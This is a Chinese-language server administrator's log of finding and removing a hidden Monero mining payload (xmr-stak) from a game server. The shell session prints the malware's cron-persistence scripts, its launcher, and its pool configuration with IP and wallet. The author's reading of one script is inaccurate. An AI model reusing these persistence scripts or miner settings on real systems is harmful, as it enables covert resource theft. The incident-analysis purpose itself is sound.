照例巡视服务器,查看cpu,内存,硬盘,系统日志。
GameServer的机器,cpu 和 内存 使用上有点不对,进程数有点多了, 但是cpu和内存却很平稳,没有波动!
另外系统日志中出现了之前没有见过的进程日志。
依据之前处理dota3木马攻击的方式,检查一遍crontab等,确认下是不是有异常!
[root@GameServer /]# cat /etc/passwd | cut -f 1 -d : |xargs -I {} crontab -l -u {}
* * * * * /home/user_game/.python2.0/upd >/dev/null 2>&1
发现了一个隐藏目录的定时脚本,每分钟执行一次 udp。
[root@GameServer /]#crontab -l -u user_game
* * * * * /home/user_game/.python2.0/upd >/dev/null 2>&1
[root@GameServer /]# crontab -r -u user_game
[root@GameServer /]# crontab -l -u user_game
no crontab for user_game
[root@GameServer /]# cd /home/user_game/.python2.0
[root@GameServer .python2.0]# ls -la
total 233652
drwxr-xr-x 3 user_game users 4096 Jul 21 2019 .
drwx------ 5 user_game users 4096 Aug 5 2019 ..
-rwxr-xr-x 1 user_game users 329 Oct 27 2019 a
-rw-rw-r-- 1 user_game users 6 Jul 21 2019 bash.pid
-rw-r--r-- 1 user_game users 7581 Apr 16 2019 config.txt
-rw-rw-r-- 1 user_game users 1883 Jul 21 2019 cpu.txt
-rw-r--r-- 1 user_game users 51 Jul 21 2019 cron.d
-rw-rw-r-- 1 user_game users 21 Jul 21 2019 dir.dir
-rwxr-xr-x 1 user_game users 15125 Feb 21 2019 h32
-rwxr-xr-x 1 user_game users 838583 Feb 21 2019 h64
-rwxr-xr-x 1 user_game users 227220 Oct 22 2019 md32
-rw-rw-r-- 1 user_game users 238111448 Jul 7 10:29 output.txt
-rw-r--r-- 1 user_game users 1590 May 13 2019 pools.txt
-rwxr-xr-x 1 user_game users 467 Jul 21 2019 run
drwxr-xr-x 2 user_game users 4096 Apr 16 2019 stak
-rwxr--r-- 1 user_game users 209 Jul 21 2019 upd
-rwxr-xr-x 1 user_game users 24 Oct 5 2019 x
[root@GameServer .python2.0]# cat cron.d
* * * * * /home/user_game/.python2.0/upd >/dev/null 2>&1
[root@GameServer .python2.0]# cat upd
#!/bin/sh
if test -r /home/user_game/.python2.0/bash.pid; then
pid=$(cat /home/user_game/.python2.0/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /home/user_game/.python2.0
./run &>/dev/null
exit 0
fi
fi
脚本执行流程:先干掉 bash.pid, 再等待一秒后,运行run,执行一次就退出。
[root@GameServer /]#crontab -l -u user_game
* * * * * /home/user_game/.python2.0/upd >/dev/null 2>&1
[root@GameServer .python2.0]# cat x
nohup ./a >>/dev/null &
原来还有一个nohup!!
[root@GameServer .python2.0]# cat a
pwd > dir.dir
dir=$(cat dir.dir)
echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep upd
echo "#!/bin/sh
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
sleep 1
else
cd $dir
./run &>/dev/null
exit 0
fi
fi" >upd
chmod u+x upd
./run &>/dev/null
[root@GameServer /]# ps -ef | grep './a'
root 17781 1894 2 14:33 pts/1 00:00:00 ./a
root 17791 1894 0 14:34 pts/1 00:00:00 grep --color=auto ./a
[root@GameServer /]# kill -9 17781
[root@GameServer /]# crontab -r -u user_game
[root@GameServer .python2.0]# cat dir.dir
/home/user_game/.python2.0
[root@GameServer .python2.0]# cat cpu.txt
...
"cpu_threads_conf" :
[
{ "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 0 },
{ "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 1 },
],
...
似乎是运行情况日志。
[root@GameServer .python2.0]# tail output.txt
[2020-07-07 10:28:56] : SOCKET ERROR - [107.191.99.227:80] CONNECT error: Connection timed out
[2020-07-07 10:29:25] : Fast-connecting to 107.191.99.227:80 pool ...
HASHRATE REPORT - CPU
| ID | 10s | 60s | 15m | ID | 10s | 60s | 15m |
| 0 | (na) | (na) | (na) | 1 | (na) | (na) | (na) |
Totals (CPU): 0.0 0.0 0.0 H/s
-----------------------------------------------------------------
Totals (ALL): 0.0 0.0 0.0 H/s
Highest: 155.2 H/s
-----------------------------------------------------------------
输出的是连接远程服务器超时!
[root@GameServer .python2.0]# cat pools.txt
"pool_list" :
[
{
"pool_address" : "107.191.99.227:80",
"wallet_address":"49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs",
"pool_password" : "x",
"use_nicehash" : false,
"rig_id" : "",
"use_tls" : false,
"tls_fingerprint" : "",
"pool_weight" : 1
},
],
看到了钱包地址wallet_address,似乎还有密码“x”!!
[root@GameServer .python2.0]# cd stak/
[root@GameServer stak]# ll
total 28456
-rwxr-xr-x 1 user_game users 162632 Nov 20 2019 ld-linux-x86-64.so.2
-rwxr-xr-x 1 user_game users 2361856 Nov 20 2019 libcrypto.so.1.0.0
-rwxr-xr-x 1 user_game users 1868984 Nov 20 2019 libc.so.6
-rwxr-xr-x 1 user_game users 14608 Nov 20 2019 libdl.so.2
-rwxr-xr-x 1 user_game users 31104 Nov 20 2019 libffi.so.6
-rwxr-xr-x 1 user_game users 89696 Nov 20 2019 libgcc_s.so.1
-rwxr-xr-x 1 user_game users 919168 Nov 20 2019 libgcrypt.so.20
-rwxr-xr-x 1 user_game users 522664 Nov 20 2019 libgmp.so.10
-rwxr-xr-x 1 user_game users 1239440 Nov 20 2019 libgnutls.so.30
-rwxr-xr-x 1 user_game users 80496 Nov 20 2019 libgpg-error.so.0
-rwxr-xr-x 1 user_game users 207640 Nov 20 2019 libhogweed.so.4
-rwxr-xr-x 1 user_game users 236992 Nov 20 2019 libhwloc.so.5
-rwxr-xr-x 1 user_game users 207208 Nov 20 2019 libidn.so.11
-rwxr-xr-x 1 user_game users 39272 Nov 20 2019 libltdl.so.7
-rwxr-xr-x 1 user_game users 97232 Nov 20 2019 libmicrohttpd.so.10
-rwxr-xr-x 1 user_game users 1088952 Nov 20 2019 libm.so.6
-rwxr-xr-x 1 user_game users 219336 Nov 20 2019 libnettle.so.6
-rwxr-xr-x 1 user_game users 43936 Nov 20 2019 libnuma.so.1
-rwxr-xr-x 1 user_game users 27424 Nov 20 2019 libOpenCL.so.1
-rwxr-xr-x 1 user_game users 408472 Nov 20 2019 libp11-kit.so.0
-rwxr-xr-x 1 user_game users 138696 Nov 20 2019 libpthread.so.0
-rwxr-xr-x 1 user_game users 31712 Nov 20 2019 librt.so.1
-rwxr-xr-x 1 user_game users 428384 Nov 20 2019 libssl.so.1.0.0
-rwxr-xr-x 1 user_game users 1566440 Nov 20 2019 libstdc++.so.6
-rwxr-xr-x 1 user_game users 76192 Nov 20 2019 libtasn1.so.6
-rw-r--r-- 1 user_game users 1250904 Apr 16 2019 libxmr-stak-backend.a
-rw-r--r-- 1 user_game users 74206 Apr 16 2019 libxmr-stak-c.a
-rwxr-xr-x 1 user_game users 13184504 Nov 20 2019 libxmrstak_cuda_backend.so
-rwxr-xr-x 1 user_game users 758504 Nov 20 2019 libxmrstak_opencl_backend.so
-rwxr-xr-x 1 user_game users 104864 Nov 20 2019 libz.so.1
-rwxr-xr-x 1 user_game users 1609409 Apr 16 2019 xmr-stak
两个非常可疑的库文件libxmr-stak-c.a和libxmr-stak-backend.a。Google这两个文件,发现这是门罗币挖矿程序使用的名字!!
[root@GameServer /]# userdel user_game
userdel: user user_game is currently used by process 95786
当前用户还有脚本在跑。
[root@GameServer /]# ll /proc/95786
total 0
dr-xr-xr-x 2 user_game users 0 Jul 7 10:40 attr
-rw-r--r-- 1 user_game users 0 Jul 7 10:40 autogroup
-r-------- 1 user_game users 0 Jul 7 10:40 auxv
-r--r--r-- 1 user_game users 0 Jul 7 10:40 cgroup
--w------- 1 user_game users 0 Jul 7 10:40 clear_refs
-r--r--r-- 1 user_game users 0 Jul 7 10:32 cmdline
-rw-r--r-- 1 user_game users 0 Jul 7 10:40 comm
-rw-r--r-- 1 user_game users 0 Jul 7 10:40 coredump_filter
-r--r--r-- 1 user_game users 0 Jul 7 10:40 cpuset
lrwxrwxrwx 1 user_game users 0 Jul 7 10:40 cwd -> /home/user_game/.python2.0
-r-------- 1 user_game users 0 Jul 7 10:40 environ
lrwxrwxrwx 1 user_game users 0 Jul 7 10:40 exe -> /home/user_game/.python2.0/stak/ld-linux-x86-64.so.2
[root@GameServer /]# kill -9 95786
[root@GameServer /]# rm -rf /home/user_game
[root@GameServer /]# id user_game
uid=495(user_game) gid=495(user_game) groups=495(user_game)
[root@GameServer /]# userdel user_game && groupdel user_game
userdel: user user_game is currently used by process 95786
[root@GameServer user_00]# cat /etc/passwd | grep
[root@GameServer user_00]# cat /etc/shadow | grep
[root@GameServer /]# find . -group user_game -exec ls -l {} \;
total 0
find: `./proc/53545/task/53545/fd/5': No such file or directory
find: `./proc/53545/task/53545/fdinfo/5': No such file or directory
find: `./proc/53545/fd/5': No such file or directory
find: `./proc/53545/fdinfo/5': No such file or directory
find: `./proc/53546': No such file or directory
find: `./proc/53546': No such file or directory
find: `./proc/53547': No such file or directory
find: `./proc/53547': No such file or directory
find: `./proc/53553': No such file or directory
find: `./proc/53553': No such file or directory
至此,清理完毕!